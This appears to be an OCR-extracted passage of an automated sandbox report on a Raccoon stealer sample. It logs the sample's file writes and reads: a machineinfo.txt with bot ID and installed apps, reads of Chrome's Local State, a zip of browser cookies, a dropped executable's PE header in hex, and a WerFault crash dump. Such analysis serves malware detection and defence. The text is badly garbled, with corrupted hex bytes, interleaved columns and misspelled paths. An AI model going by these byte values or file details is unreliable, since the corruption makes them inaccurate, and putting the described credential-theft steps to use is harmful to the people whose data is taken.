00 00

cannot be run in DOS
mode....

............ 1..L.IThis program

cannot be run in DOS
mode....
$...

N S Y Tt S ] B

e..na...e..n....e..ng...e.Rich

.e.PE..L..S.v..

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-
win-core-memory-11-1-0.dll

C:\Users\user\AppData\LocalLow\machineinfo.txt

Copyright null 2021

Offset Length Value

unknown 16384

unknown 792

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 6d Ob c1 9f Oc
65 92 9f Oc 65 92 9f
Oc 65 92 ec 6e 65 93
9e Oc 65 92 ec 6e 61
93 9d Oc 65 92 ec 6e
9a 92 9e Oc 65 92 ec
6e 67 93 9e Oc 65 92
52 69 63 68 9f Oc 65
92 50 45 00 00 4c 01
02 00 1c f7 25 28 00
00 00 00 00 00 00 00
€0 00 02 21 Ob 01 Oe
0a 00 06 00 00 00 04
00 00 00 00 00 00 00
00 00 00 00 10 00 00
00 20 00 00 00 00 00
10 00 10 00 00 00 02
00 00 0a 00 00 00 Oa
00 00

52 61 63 63 6f 6f 6e
20 7c¢ 20 31 2e 37 2e
32 0d 0d 0a 42 75 69
6¢ 64 20 63 6f 6d 70
69 6¢ 65 20 64 61 74
65 3a 20 53 75 6e 20
4a 61 6e 20 31 30 20
3134 3a35383a30
3120323032310d
0d 0a 4c 61 75 6e 63
68 65 64 20 61 74 3a
2032303231 2e30
32 2e3233202d20
31383a30343a34
35 20 47 4d 54 0d 0d
0a 42 6f 74 5f 49 44
3a 2044 3036 45 44
36 33 35 2d 36 38 46
36 2d 34 45 39 41 2d
39353543 2d 34 38
39 39 46 35 46 35 37
42 39 41 5f 65 6e 67
69 6e 65 65 72 0d 0d
Oa 52 75 6e 6e 69 6e
67 20 6f 6e 20 61 20
64 65 73 6b 74 6f 70
0d 0d 0a 0d 0d 0a 2d
2d 2d 2d 2d 2d 2d 2d
2d 2d 2d 2d 2d 0d 0d
0a 0d 0d 0a 20 20 2d
20 43 6f 6f 6b 69 65
73 3a 2031 0d 0d Oa
2020 2d 20 50 61 73
7377 6f726473 3a
20 30 0d 0d Oa 20 20
2d 20 46 69 6¢ 65 73
3a 2030

cannot be run in DOS
mode....

Raccoon | 1.7.2...Build

compile date: Sun Jan 10
14:58:01 2021...Launched
at: 2021.02.23 - 18:04:45
GMT...Bot_ID: DO6ED635-

68F6-4E9A-955C-
4899F5F57B9A
_user...Running on a

desktop......-----------=- L.
Cookies: 1... - Passwords:

0... - Files: 0

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

41ACBE WriteFile

4578AB  WriteFile
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File Path

C:\Users\user\AppData\LocalLow\machineinfo.txt

C:\Users\user\AppData\LocalLom\imUIOHTtWMK .zip

Copyright null 2021

Offset

unknown 287

unknown 62251

Length Value

49 6e 73 74 61 6¢ 6C
6564 2041707073
3a 20 0d 0d Oa 09 41
64 6f 62 65 20 41 63
72 662 61 74 20 52
6561 64 65 72 20 44
43 20 28 31 39 2e 30
3132 2e 32303033
35 29 0d 0d Oa 09 47
6f 6f 67 6¢ 65 20 43
68 72 6f 6d 65 20 28
38 352e 30 2e 34 31
38332e31323129
0d 0d 0Oa 09 47 6f 6f
67 6¢ 65 20 55 70 64
61 74 65 20 48 65 6C
7065722028 31 2e
332e33352e 3435
31 29 0d 0d Oa 09 4a
61 76 61 20 38 20 55
7064 61 74 65 20 32
31 31 20 28 38 2e 30
2e 323131302e31
32 29 0d 0d Oa 09 4a
61766120417574
6f 20 55 70 64 61 74
6572 20 28 32 2e 38
2e 3231312e3132
29 0d 0d 0a 09 55 70
64 61 74 65 20 66 6f
722053 6b 79 70 65
20 66 6f 72 20 42 75
73 69 6e 65 73 73 20
32303136 20 28 4b
42 34 34 38 34 32 38
36 29 20 33 32 2d 42
69 74 20

50 4b 03 04 14 00 02
00 08 00 84 50 57 52
4b bc 33 d3 ¢4 00 00
00 d8 00 00 00 2a 00
110062 72 6f 77 73

Source

Ascii Completion Count Address Symbol

Installed Apps: ....Adobe  success or wait 1 4578AB  WriteFile
Acrobat Reader DC
(19.012.20035)....Google
Chrome (85.0.4183.121
)....Google Update Helper
(1.3.35.451)....Java 8
Update 211
(8.0.2110.12)....Java Auto
Updater
(2.8.211.12)....Update for
Skype for Business 2016

(KB4484286) 32-Bit

PK......... PWRK.3......... *... success or wait 1
browsers/cookies/Google

Chrome

_Default.txtUT.....4"..4".4°

%..r.0..5..S...E....f".....

433078 WriteFile

65 72 73 2f 63 6f 6 6b G..h....z6g#.IN..L7+0.j..g.l..
69 65 73 2f 47 6f 6f 67 [.E......Qy.......p...n.[ Fk..

6¢ 65 20 43 68 72 6f
6d 65 5f 44 65 66 61
756¢c 74 2e 74 78 74
5554 0d 00 07 12 d3
3460 12 d3 34 60 12
d3 346025 c5ch 72
82 30 14 00 dO 35 ce
f4 53 b4 92 82 84 45
17 da 84 f0 98 66 22
8f 0a ec e4 02 01 47
cb e0 68 Oc f9 fa 2e

7a 36 67 23 a7 49 5e
bb 0d 4c 37 2b 4f Ob
6a bd ff 67 ef 6¢ Of f9
5b d7 45 16 8f 88 85
b6 ce 67 79 8d d7 90
fb a5 c4 84 70 08 be
86 6e fd 5b b0 46 6b
da 19 4c 52 c1 8c 34
45 5b 5f 84 1d b7 1c
55 23 1f fa 25 4d 82

aa 55c1198a51 3e
05 8b 35 af 8f 9a 9b

6c e4 3f 07 48 e6 c7

ec 5c ce 9e 6¢ 1a 95
7d cc 47 aa d5 1d f6

79 88 b3 85 €0 b6 5f
bc 68 88 ca 61 e7 aa
d7 e2 bf 94 81 8a 1d

LR..4E[ ...U#.%M..U..Q>
B2 HLALYG Ly
_hia..
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe unknown 3786 4d 529000030000 MZ.....ccocevveinnes @..... success or wait 355 433C03 WriteFile
00 04 00 00 00 ff ff 00

00 b8 00 00 00 00 00 .1..L.IThis program
00 00 40 00 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....
00000000000000 &......PE..L....2".
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00000080000000 s...t+..@...cccccoueueeen
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 50 45 00 00 4c 01
07 00 1e 7 32 60 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 Ob
00 00 50 00 00 00 08
00 00 00 00 00 00 58
€0 48 00 00 20 00 00
00 80 00 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 80 73
00 00 04 00 00 74 3a
2b 00 02 00 40 80 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00

00 00 00 00 00 00 00
00 00
C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe unknown 0 success or wait 1 433C03 WriteFile
File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\LocalLow\frAQBc8Wsa 0 100 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\frAQBc8Wsa 0 2048 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\frAQBc8Wsa 28672 2048 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\1xVPfvJcrg 0 100 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\1xVPfvJcrg 0 2048 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\RYwTiizs2t 0 100 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\RYwTiizs2t 0 2048 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\rQF69AzBla 0 100 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\rQF69AzBla 0 4096 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 89 459938 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 459938 ReadFile
C:\Users\user\AppData\LocalLow\JbcJeqCquL 0 100 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\JbcJeqCquL 0 4096 success or wait 1 61E264DC ReadFile
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\aR8pJ3hC8rG2sT.zip unknown 1028 success or wait 1 419846 ReadFile
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\aR8pJ3hC8rG2sT.zip unknown 1 success or wait 1 419846 ReadFile
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\aR8pJ3hC8rG2sT.zip unknown 1 success or wait 57 419846 ReadFile
C:\Users\user\AppData\LocalLow\machineinfo.txt unknown 65536 success or wait 1 43D3A6 ReadFile
C:\Users\user\AppData\LocalLow\machineinfo.txt unknown 64457 end of file 1 43D3A6 ReadFile
C:\Users\user\AppData\LocalLow\screen.jpeg unknown 65536 success or wait 1 43D3A6 ReadFile
C:\Users\user\AppData\LocalLow\screen.jpeg unknown 32768 success or wait 1 43D3A6 ReadFile
C:\Users\user\AppData\LocalLow\screen.jpeg unknown 29313 end of file 1 43D3A6 ReadFile
C:\Users\user\AppData\LocalLom\imUIOHTtWMK.zip unknown 62251 success or wait 1 433119 ReadFile

Analysis Process: WerFault.exe PID: 976 Parent PID: 7140

General

Start time: 10:02:26
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Start date: 23/02/2021

Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Imagebase: 0xe40000

File size: 434592 bytes

MDS5 hash: 9E2BBACAD48ECCA55C0230D63623661B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 6E261717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp.dmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD85.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD85.tmp.WERInt read attributes | device synchronous io  success or wait 1 6E25497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp.xml read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 6E25497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d directory | synchronous io
4f40_0382c331 synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 6E25497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6ed synchronize | non alert | non
4f40_0382c331\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD85.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp.dmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp.xml| success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF98.tmp.csv success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERC287.tmp.txt success or wait 1 6E25497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

Copyright null 2021

Offset Length

unknown 32

unknown 6

unknown 1420

unknown 716

Value

4d 44 4d 50 93 a7 ee
a0 0f 00 00 00 20 00
00 00 00 00 00 00 36
43 35 60 a4 05 12 00
00 00 00 00

00 00 00 00 00 00

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 c8 1d 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74
65 6¢ 57 06 05 00 ff fb
8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
72 00 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 0061 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
0000 62 6f 72 74 1c
fb 98 02 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
98 02 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb 98 02 2b 00 00
00 aa aa aa aa aa aa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

..... Uioreee B
..GenuinelntelW.

() N2

P.a.c.ific..Stan.d.a.rd.

Timee .

.D.a.y.li.g.ht. .T.
im.e.....

oo oo re
.+..bort..........@.bort....
(...bort#...F....... o

......Pac.ific.

Completion

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

1

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

04 03 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
80 23 00 00

2400 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 8¢ 36 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

..o.Data.#..K.Nam.

e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..

N.a.m.e......P.a.ck.e.tS.i.

ze....A.9...o0.Data.

J.KiName...Ad.d.

res.s.....A.3...o.D.at

K..N.a.m.e....... 28

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

36

35

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 00
00 00 00 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aa aaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aa aaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

05 00 00 00

3f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 d8 02 00 00 00
00 00 00 00 cf 19 00
00 00 00 00 00 00 00
00 00 00 00 00 20 ce
1900 2c 95 e5 77 23
00 00 00 12 02 00 00
b0 cd 19 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

04 03 00 00 00 00 00
00 20 00 00 00 00 00
00 00 00 60 2c 00 00
00 00 00 2c ed 98 02
00 00 00 00 d4 12 00
00 8¢ 37 00 00 cc 02
00 00 7c 31 00 00

2d 00 00 00

Source

Ascii Completion Count Address Symbol
W W X..$..... success or wait 1 6E25497A unknown
.@.Ww@..w.

success or wait 5 6E25497A unknown
e success or wait 5 6E25497A unknown
success or wait 1 6E25497A unknown
- success or wait 45 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 cf 75 00 00 00
00 00 70 00 00 07 dc
0000 28 63 3e 3512
2300 00 bd 04 ef fe
00 00 01 00 00 00 0a
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 03 00 00
00 06 00 00 00 00 00
00 00 00 00 00 00 20
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 40 45 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
03 00 d1 2a 2c e3 62
2300 00 01 00 0f 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 Of 00 00 00 00
00 00 00 04 00 00 00
00 do bb 02 00 00 00
00 00 b0 c8 02 00 00
00 00 b0 41 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 1c
76 03 00 00 00 00 00
a5 76 03 00 00 00 00
00 00 00 00 00 00 00
00 00 3e 38 1b 00 00
00 00 00 02 c7 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 b7 f8 04
00 00 00 00 00 ea ac
1b 84 00 00 00 00 4a
ab e8 14 00 00 00 00
53 f3 47 Oc 00 00 00
00 8a 5¢c d7 00 00 00
00 00 el 94 00 00 a6
af 00 00 64 ca 04 00
eb d7 0a 00 02 c7 04
00 fb 7e 15 00 b7 f8
04 00 42 90 1c 00 2b
38 01 00 3c 5¢ 0f 00
00 00 00 00 71 96 Oc
00 c2 84 04

d..S.e.curite.l.nfo..
c.o.m...T.r.oj.an..G.e.n.e.
ri.c.K.D.Z..7.3.1.2.4...1.9.

6...0.n.D.e.m.a.n.d.C.0.n.n success or wait
.R.o.ute.H.elp.e.r.d.ll.

Source

Count Address Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB48B.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 10970

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 f4 00 00
00 08 07 00 00 04 00
00 00 00 13 00 00 08
08 00 00 Oe 00 00 00
3c 00 00 00 08 1b 00
00 05 00 00 00 44 02
00 00 48 34 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
Oc 00 00 00 e8 1d 00
00 46 e8 00 00 15 00
00 00 ec 01 00 00 44
1b 00 00 16 00 00 00
98 00 00 00 30 1d 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

2200 3100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 6E25497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.it.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te..LRT.iim.e.r..(.W.
a.i.t.C.o.m.p.l
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
<.?x.m.l. .v.ers.i.o.n.=". success or wait 1 6E25497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 6E25497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 6E25497A unknown
data>.
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
